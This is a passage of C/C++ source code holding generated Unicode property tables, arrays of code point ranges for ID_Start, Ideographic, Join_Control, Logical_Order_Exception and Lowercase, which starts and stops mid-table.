{0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1FBF0, 0x1FBF9}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_ID_Start[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2C1}, {0x2C6, 0x2D1}, {0x2E0, 0x2E4}, {0x2EC, 0x2EC}, {0x2EE, 0x2EE}, {0x370, 0x374}, {0x376, 0x377}, {0x37A, 0x37D}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x559}, {0x560, 0x588}, {0x5D0, 0x5EA}, {0x5EF, 0x5F2}, {0x620, 0x64A}, {0x66E, 0x66F}, {0x671, 0x6D3}, {0x6D5, 0x6D5}, {0x6E5, 0x6E6}, {0x6EE, 0x6EF}, {0x6FA, 0x6FC}, {0x6FF, 0x6FF}, {0x710, 0x710}, {0x712, 0x72F}, {0x74D, 0x7A5}, {0x7B1, 0x7B1}, {0x7CA, 0x7EA}, {0x7F4, 0x7F5}, {0x7FA, 0x7FA}, {0x800, 0x815}, {0x81A, 0x81A}, {0x824, 0x824}, {0x828, 0x828}, {0x840, 0x858}, {0x860, 0x86A}, {0x870, 0x887}, {0x889, 0x88F}, {0x8A0, 0x8C9}, {0x904, 0x939}, {0x93D, 0x93D}, {0x950, 0x950}, {0x958, 0x961}, {0x971, 0x980}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BD, 0x9BD}, {0x9CE, 0x9CE}, {0x9DC, 0x9DD}, {0x9DF, 0x9E1}, {0x9F0, 0x9F1}, {0x9FC, 0x9FC}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA72, 0xA74}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABD, 0xABD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE1}, {0xAF9, 0xAF9}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3D, 0xB3D}, {0xB5C, 0xB5D}, {0xB5F, 0xB61}, {0xB71, 0xB71}, {0xB83, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBD0, 0xBD0}, {0xC05, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3D, 0xC3D}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC61}, {0xC80, 0xC80}, {0xC85, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBD, 0xCBD}, {0xCDC, 0xCDE}, {0xCE0, 0xCE1}, {0xCF1, 0xCF2}, {0xD04, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD3A}, {0xD3D, 0xD3D}, {0xD4E, 0xD4E}, {0xD54, 0xD56}, {0xD5F, 0xD61}, {0xD7A, 0xD7F}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xE01, 0xE30}, {0xE32, 0xE33}, {0xE40, 0xE46}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEB0}, {0xEB2, 0xEB3}, {0xEBD, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEDC, 0xEDF}, {0xF00, 0xF00}, {0xF40, 0xF47}, {0xF49, 0xF6C}, {0xF88, 0xF8C}, {0x1000, 0x102A}, {0x103F, 0x103F}, {0x1050, 0x1055}, {0x105A, 0x105D}, {0x1061, 0x1061}, {0x1065, 0x1066}, {0x106E, 0x1070}, {0x1075, 0x1081}, {0x108E, 0x108E}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x1380, 0x138F}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1401, 0x166C}, {0x166F, 0x167F}, {0x1681, 0x169A}, {0x16A0, 0x16EA}, {0x16EE, 0x16F8}, {0x1700, 0x1711}, {0x171F, 0x1731}, {0x1740, 0x1751}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1780, 0x17B3}, {0x17D7, 0x17D7}, {0x17DC, 0x17DC}, {0x1820, 0x1878}, {0x1880, 0x18A8}, {0x18AA, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1950, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x1A00, 0x1A16}, {0x1A20, 0x1A54}, {0x1AA7, 0x1AA7}, {0x1B05, 0x1B33}, {0x1B45, 0x1B4C}, {0x1B83, 0x1BA0}, {0x1BAE, 0x1BAF}, {0x1BBA, 0x1BE5}, {0x1C00, 0x1C23}, {0x1C4D, 0x1C4F}, {0x1C5A, 0x1C7D}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1CE9, 0x1CEC}, {0x1CEE, 0x1CF3}, {0x1CF5, 0x1CF6}, {0x1CFA, 0x1CFA}, {0x1D00, 0x1DBF}, {0x1E00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2118, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D6F}, {0x2D80, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x3005, 0x3007}, {0x3021, 0x3029}, {0x3031, 0x3035}, {0x3038, 0x303C}, {0x3041, 0x3096}, {0x309B, 0x309F}, {0x30A1, 0x30FA}, {0x30FC, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x31A0, 0x31BF}, {0x31F0, 0x31FF}, {0x3400, 0x4DBF}, {0x4E00, 0xA48C}, {0xA4D0, 0xA4FD}, {0xA500, 0xA60C}, {0xA610, 0xA61F}, {0xA62A, 0xA62B}, {0xA640, 0xA66E}, {0xA67F, 0xA69D}, {0xA6A0, 0xA6EF}, {0xA717, 0xA71F}, {0xA722, 0xA788}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA801}, {0xA803, 0xA805}, {0xA807, 0xA80A}, {0xA80C, 0xA822}, {0xA840, 0xA873}, {0xA882, 0xA8B3}, {0xA8F2, 0xA8F7}, {0xA8FB, 0xA8FB}, {0xA8FD, 0xA8FE}, {0xA90A, 0xA925}, {0xA930, 0xA946}, {0xA960, 0xA97C}, {0xA984, 0xA9B2}, {0xA9CF, 0xA9CF}, {0xA9E0, 0xA9E4}, {0xA9E6, 0xA9EF}, {0xA9FA, 0xA9FE}, {0xAA00, 0xAA28}, {0xAA40, 0xAA42}, {0xAA44, 0xAA4B}, {0xAA60, 0xAA76}, {0xAA7A, 0xAA7A}, {0xAA7E, 0xAAAF}, {0xAAB1, 0xAAB1}, {0xAAB5, 0xAAB6}, {0xAAB9, 0xAABD}, {0xAAC0, 0xAAC0}, {0xAAC2, 0xAAC2}, {0xAADB, 0xAADD}, {0xAAE0, 0xAAEA}, {0xAAF2, 0xAAF4}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABE2}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB1D}, {0xFB1F, 0xFB28}, {0xFB2A, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDFB}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0xFF66, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10140, 0x10174}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x10300, 0x1031F}, {0x1032D, 0x1034A}, {0x10350, 0x10375}, {0x10380, 0x1039D}, {0x103A0, 0x103C3}, {0x103C8, 0x103CF}, {0x103D1, 0x103D5}, {0x10400, 0x1049D}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10860, 0x10876}, {0x10880, 0x1089E}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x10900, 0x10915}, {0x10920, 0x10939}, {0x10940, 0x10959}, {0x10980, 0x109B7}, {0x109BE, 0x109BF}, {0x10A00, 0x10A00}, {0x10A10, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A60, 0x10A7C}, {0x10A80, 0x10A9C}, {0x10AC0, 0x10AC7}, {0x10AC9, 0x10AE4}, {0x10B00, 0x10B35}, {0x10B40, 0x10B55}, {0x10B60, 0x10B72}, {0x10B80, 0x10B91}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D00, 0x10D23}, {0x10D4A, 0x10D65}, {0x10D6F, 0x10D85}, {0x10E80, 0x10EA9}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10F00, 0x10F1C}, {0x10F27, 0x10F27}, {0x10F30, 0x10F45}, {0x10F70, 0x10F81}, {0x10FB0, 0x10FC4}, {0x10FE0, 0x10FF6}, {0x11003, 0x11037}, {0x11071, 0x11072}, {0x11075, 0x11075}, {0x11083, 0x110AF}, {0x110D0, 0x110E8}, {0x11103, 0x11126}, {0x11144, 0x11144}, {0x11147, 0x11147}, {0x11150, 0x11172}, {0x11176, 0x11176}, {0x11183, 0x111B2}, {0x111C1, 0x111C4}, {0x111DA, 0x111DA}, {0x111DC, 0x111DC}, {0x11200, 0x11211}, {0x11213, 0x1122B}, {0x1123F, 0x11240}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A8}, {0x112B0, 0x112DE}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133D, 0x1133D}, {0x11350, 0x11350}, {0x1135D, 0x11361}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113B7}, {0x113D1, 0x113D1}, {0x113D3, 0x113D3}, {0x11400, 0x11434}, {0x11447, 0x1144A}, {0x1145F, 0x11461}, {0x11480, 0x114AF}, {0x114C4, 0x114C5}, {0x114C7, 0x114C7}, {0x11580, 0x115AE}, {0x115D8, 0x115DB}, {0x11600, 0x1162F}, {0x11644, 0x11644}, {0x11680, 0x116AA}, {0x116B8, 0x116B8}, {0x11700, 0x1171A}, {0x11740, 0x11746}, {0x11800, 0x1182B}, {0x118A0, 0x118DF}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x1192F}, {0x1193F, 0x1193F}, {0x11941, 0x11941}, {0x119A0, 0x119A7}, {0x119AA, 0x119D0}, {0x119E1, 0x119E1}, {0x119E3, 0x119E3}, {0x11A00, 0x11A00}, {0x11A0B, 0x11A32}, {0x11A3A, 0x11A3A}, {0x11A50, 0x11A50}, {0x11A5C, 0x11A89}, {0x11A9D, 0x11A9D}, {0x11AB0, 0x11AF8}, {0x11BC0, 0x11BE0}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C2E}, {0x11C40, 0x11C40}, {0x11C72, 0x11C8F}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D30}, {0x11D46, 0x11D46}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D89}, {0x11D98, 0x11D98}, {0x11DB0, 0x11DDB}, {0x11EE0, 0x11EF2}, {0x11F02, 0x11F02}, {0x11F04, 0x11F10}, {0x11F12, 0x11F33}, {0x11FB0, 0x11FB0}, {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12480, 0x12543}, {0x12F90, 0x12FF0}, {0x13000, 0x1342F}, {0x13441, 0x13446}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x1611D}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A70, 0x16ABE}, {0x16AD0, 0x16AED}, {0x16B00, 0x16B2F}, {0x16B40, 0x16B43}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D6C}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F50, 0x16F50}, {0x16F93, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE3}, {0x16FF2, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E030, 0x1E06D}, {0x1E100, 0x1E12C}, {0x1E137, 0x1E13D}, {0x1E14E, 0x1E14E}, {0x1E290, 0x1E2AD}, {0x1E2C0, 0x1E2EB}, {0x1E4D0, 0x1E4EB}, {0x1E5D0, 0x1E5ED}, {0x1E5F0, 0x1E5F0}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6E2}, {0x1E6E4, 0x1E6E5}, {0x1E6E7, 0x1E6ED}, {0x1E6F0, 0x1E6F4}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E900, 0x1E943}, {0x1E94B, 0x1E94B}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Ideographic[] = { {0x3006, 0x3007}, {0x3021, 0x3029}, {0x3038, 0x303A}, {0x3400, 0x4DBF}, {0x4E00, 0x9FFF}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0x16FE4, 0x16FE4}, {0x16FF2, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1B170, 0x1B2FB}, {0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, }; static const UnicodeRange kRanges_Join_Control[] = { {0x200C, 0x200D}, }; static const UnicodeRange kRanges_Logical_Order_Exception[] = { {0xE40, 0xE44}, {0xEC0, 0xEC4}, {0x19B5, 0x19B7}, {0x19BA, 0x19BA}, {0xAAB5, 0xAAB6}, {0xAAB9, 0xAAB9}, {0xAABB, 0xAABC}, }; static const UnicodeRange kRanges_Lowercase[] = { {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xBA, 0xBA}, {0xDF, 0xF6}, {0xF8, 0xFF}, {0x101, 0x101}, {0x103, 0x103}, {0x105, 0x105}, {0x107, 0x107}, {0x109, 0x109}, {0x10B, 0x10B}, {0x10D, 0x10D}, {0x10F, 0x10F}, {0x111, 0x111}, {0x113, 0x113}, {0x115, 0x115}, {0x117, 0x117}, {0x119, 0x119}, {0x11B, 0x11B}, {0x11D, 0x11D}, {0x11F, 0x11F}, {0x121, 0x121}, {0x123, 0x123}, {0x125, 0x125}, {0x127, 0x127}, {0x129, 0x129}, {0x12B, 0x12B}, {0x12D, 0x12D}, {0x12F, 0x12F}, {0x131, 0x131}, {0x133, 0x133}, {0x135, 0x135}, {0x137, 0x138}, {0x13A, 0x13A}, {0x13C, 0x13C}, {0x13E, 0x13E}, {0x140, 0x140}, {0x142, 0x142}, {0x144, 0x144}, {0x146, 0x146}, {0x148, 0x149}, {0x14B, 0x14B}, {0x14D, 0x14D}, {0x14F, 0x14F}, {0x151, 0x151}, {0x153, 0x153}, {0x155, 0x155}, {0x157, 0x157}, {0x159, 0x159}, {0x15B, 0x15B}, {0x15D, 0x15D}, {0x15F, 0x15F}, {0x161, 0x161}, {0x163, 0x163}, {0x165, 0x165}, {0x167, 0x167}, {0x169, 0x169}, {0x16B, 0x16B}, {0x16D, 0x16D}, {0x16F, 0x16F}, {0x171, 0x171}, {0x173, 0x173}, {0x175, 0x175}, {0x177, 0x177}, {0x17A, 0x17A}, {0x17C, 0x17C}, {0x17E, 0x180}, {0x183, 0x183}, {0x185, 0x185}, {0x188, 0x188}, {0x18C, 0x18D}, {0x192, 0x192}, {0x195, 0x195}, {0x199, 0x19B}, {0x19E, 0x19E}, {0x1A1, 0x1A1}, {0x1A3, 0x1A3}, {0x1A5, 0x1A5}, {0x1A8, 0x1A8}, {0x1AA, 0x1AB}, {0x1AD, 0x1AD}, {0x1B0, 0x1B0}, {0x1B4, 0x1B4}, {0x1B6, 0x1B6}, {0x1B9, 0x1BA}, {0x1BD, 0x1BF}, {0x1C6, 0x1C6}, {0x1C9, 0x1C9}, {0x1CC, 0x1CC}, {0x1CE, 0x1CE}, {0x1D0, 0x1D0}, {0x1D2, 0x1D2}, {0x1D4, 0x1D4}, {0x1D6, 0x1D6}, {0x1D8, 0x1D8}, {0x1DA, 0x1DA}, {0x1DC, 0x1DD}, {0x1DF, 0x1DF}, {0x1E1, 0x1E1}, {0x1E3, 0x1E3}, {0x1E5, 0x1E5}, {0x1E7, 0x1E7}, {0x1E9, 0x1E9}, {0x1EB, 0x1EB}, {0x1ED, 0x1ED}, {0x1EF, 0x1F0}, {0x1F3, 0x1F3}, {0x1F5, 0x1F5}, {0x1F9, 0x1F9}, {0x1FB, 0x1FB}, {0x1FD, 0x1FD}, {0x1FF, 0x1FF}, {0x201, 0x201}, {0x203, 0x203}, {0x205, 0x205}, {0x207, 0x207}, {0x209, 0x209}, {0x20B, 0x20B}, {0x20D, 0x20D}, {0x20F, 0x20F}, {0x211, 0x211}, {0x213, 0x213}, {0x215, 0x215}, {0x217, 0x217}, {0x219, 0x219}, {0x21B, 0x21B}, {0x21D, 0x21D}, {0x21F, 0x21F}, {0x221, 0x221}, {0x223, 0x223}, {0x225, 0x225}, {0x227, 0x227}, {0x229, 0x229}, {0x22B, 0x22B}, {0x22D, 0x22D}, {0x22F, 0x22F}, {0x231, 0x231}, {0x233, 0x239}, {0x23C, 0x23C}, {0x23F, 0x240}, {0x242, 0x242}, {0x247, 0x247}, {0x249, 0x249}, {0x24B, 0x24B}, {0x24D, 0x24D}, {0x24F, 0x293}, {0x296, 0x2B8}, {0x2C0, 0x2C1}, {0x2E0, 0x2E4}, {0x345, 0x345}, {0x371, 0x371}, {0x373, 0x373}, {0x377, 0x377}, {0x37A, 0x37D}, {0x390, 0x390}, {0x3AC, 0x3CE}, {0x3D0, 0x3D1}, {0x3D5, 0x3D7}, {0x3D9, 0x3D9}, {0x3DB, 0x3DB}, {0x3DD, 0x3DD}, {0x3DF, 0x3DF}, {0x3E1, 0x3E1}, {0x3E3, 0x3E3}, {0x3E5, 0x3E5}, {0x3E7, 0x3E7}, {0x3E9, 0x3E9}, {0x3EB, 0x3EB}, {0x3ED, 0x3ED}, {0x3EF, 0x3F3}, {0x3F5, 0x3F5}, {0x3F8, 0x3F8}, {0x3FB, 0x3FC}, {0x430, 0x45F}, {0x461, 0x461}, {0x463, 0x463}, {0x465, 0x465}, {0x467, 0x467}, {0x469, 0x469}, {0x46B, 0x46B}, {0x46D, 0x46D}, {0x46F, 0x46F}, {0x471, 0x471}, {0x473, 0x473}, {0x475, 0x475}, {0x477, 0x477}, {0x479, 0x479}, {0x47B, 0x47B}, {0x47D, 0x47D}, {0x47F, 0x47F}, {0x481, 0x481}, {0x48B, 0x48B}, {0x48D, 0x48D}, {0x48F, 0x48F}, {0x491, 0x491}, {0x493, 0x493}, {0x495, 0x495}, {0x497, 0x497}, {0x499, 0x499}, {0x49B, 0x49B}, {0x49D, 0x49D}, {0x49F, 0x49F}, {0x4A1, 0x4A1}, {0x4A3, 0x4A3}, {0x4A5, 0x4A5}, {0x4A7, 0x4A7}, {0x4A9, 0x4A9}, {0x4AB, 0x4AB}, {0x4AD, 0x4AD}, {0x4AF, 0x4AF}, {0x4B1, 0x4B1}, {0x4B3, 0x4B3}, {0x4B5, 0x4B5}, {0x4B7, 0x4B7}, {0x4B9, 0x4B9}, {0x4BB, 0x4BB}, {0x4BD, 0x4BD}, {0x4BF, 0x4BF}, {0x4C2, 0x4C2}, {0x4C4, 0x4C4}, {0x4C6, 0x4C6}, {0x4C8, 0x4C8}, {0x4CA, 0x4CA}, {0x4CC, 0x4CC}, {0x4CE, 0x4CF}, {0x4D1, 0x4D1}, {0x4D3, 0x4D3}, {0x4D5, 0x4D5}, {0x4D7, 0x4D7}, {0x4D9, 0x4D9}, {0x4DB, 0x4DB}, {0x4DD, 0x4DD}, {0x4DF, 0x4DF}, {0x4E1, 0x4E1}, {0x4E3, 0x4E3}, {0x4E5, 0x4E5}, {0x4E7, 0x4E7}, {0x4E9, 0x4E9}, {0x4EB, 0x4EB}, {0x4ED, 0x4ED}, {0x4EF, 0x4EF}, {0x4F1, 0x4F1}, {0x4F3, 0x4F3}, {0x4F5, 0x4F5}, {0x4F7, 0x4F7}, {0x4F9, 0x4F9}, {0x4FB, 0x4FB}, {0x4FD, 0x4FD}, {0x4FF, 0x4FF}, {0x501, 0x501}, {0x503, 0x503}, {0x505, 0x505}, {0x507, 0x507}, {0x509, 0x509}, {0x50B, 0x50B}, {0x50D, 0x50D}, {0x50F, 0x50F}, {0x511, 0x511}, {0x513, 